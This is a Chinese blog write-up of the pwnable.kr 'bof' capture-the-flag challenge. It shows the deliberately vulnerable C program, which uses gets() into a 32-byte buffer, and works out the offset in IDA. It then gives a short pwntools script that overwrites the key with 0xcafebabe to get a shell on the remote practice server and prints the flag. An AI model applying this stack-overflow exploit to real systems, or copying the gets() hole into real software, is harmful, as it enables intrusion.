首页 > 其他 > 详细

Pwnable-bof

时间:2019-10-27 09:51:14      阅读:59      评论:0      收藏:0      [点我收藏+]

Download : http://pwnable.kr/bin/bof

Download : http://pwnable.kr/bin/bof.c

 

下载之后,先看看c源码

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
        char overflowme[32];
        printf("overflow me : ");
        gets(overflowme);       // smash me!
        if(key == 0xcafebabe){
                system("/bin/sh");
        }
        else{
                printf("Nah..\n");
        }
}
int main(int argc, char* argv[]){
        func(0xdeadbeef);
        return 0;
}

要让key==0xcafebabe才能get shell,将源程序拖到IDA

技术分享图片

 gets函数存在栈溢出,要覆盖a1的值让其变成0xcafebabe,那么我们需要偏移多少才能覆盖到a1,通过IDA可以看到需要偏移0x2c+0x8个字节才能覆盖到a1

技术分享图片

 

 技术分享图片

 那么就可以构造脚本了

from pwn import *
r=remote(pwnable.kr,9000)

payload=a*(0x2c+0x8)+p32(0xcafebabe)
r.sendline(payload)

r.interactive()

获得flag

技术分享图片

 

daddy, I just pwned a buFFer :)

Pwnable-bof

原文:https://www.cnblogs.com/gaonuoqi/p/11746615.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!